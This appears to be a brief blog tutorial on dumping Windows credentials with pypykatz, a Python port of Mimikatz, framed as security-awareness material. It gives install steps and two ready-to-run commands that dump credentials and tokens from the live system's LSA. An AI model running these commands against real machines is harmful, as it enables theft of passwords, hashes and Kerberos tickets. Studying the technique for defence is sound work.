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Credential Dumping via Pypykatz

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Last updated 1 year ago

Use what I'm about to say in this article only for the right purposes, such as raising security awareness and improving the security posture of your environments. I do not accept any responsibility for other uses.

Mimikatz implementation in pure Python. Pypykatz is an open-source tool designed for extracting authentication credentials on Windows operating systems. This tool can parse and analyze various authentication information, such as passwords, Kerberos tickets, NTLM hashes, and more, related to user accounts and sessions running on Windows.

Requirements

->Windows Endpoint ->Pypykatz Tool

Let's try it.

First of all, we can install pypykatz in two different ways. ->Install it directly with pip (which seems to be the easiest) ->Run the setup.py file after pulling the files from Git and installing the requirements.

Via PIP

1-Open command prompt

pip3 install pypykatz

Via Github

1-Install prerequirements

pip3 install minidump minikerberos aiowinreg msldap winacl

2-Clone repo

git clone https://github.com/skelsec/pypykatz.git
cd pypykatz

3-Install

python3 setup.py install

That's all!

Now let's dump with a few examples.

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pypykatz live lsa

<-Live Token Dump->

pypykatz live token current

Resources I used:

For mor examples;

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https://github.com/skelsec/pypykatz/wiki
https://github.com/skelsec/pypykatz/
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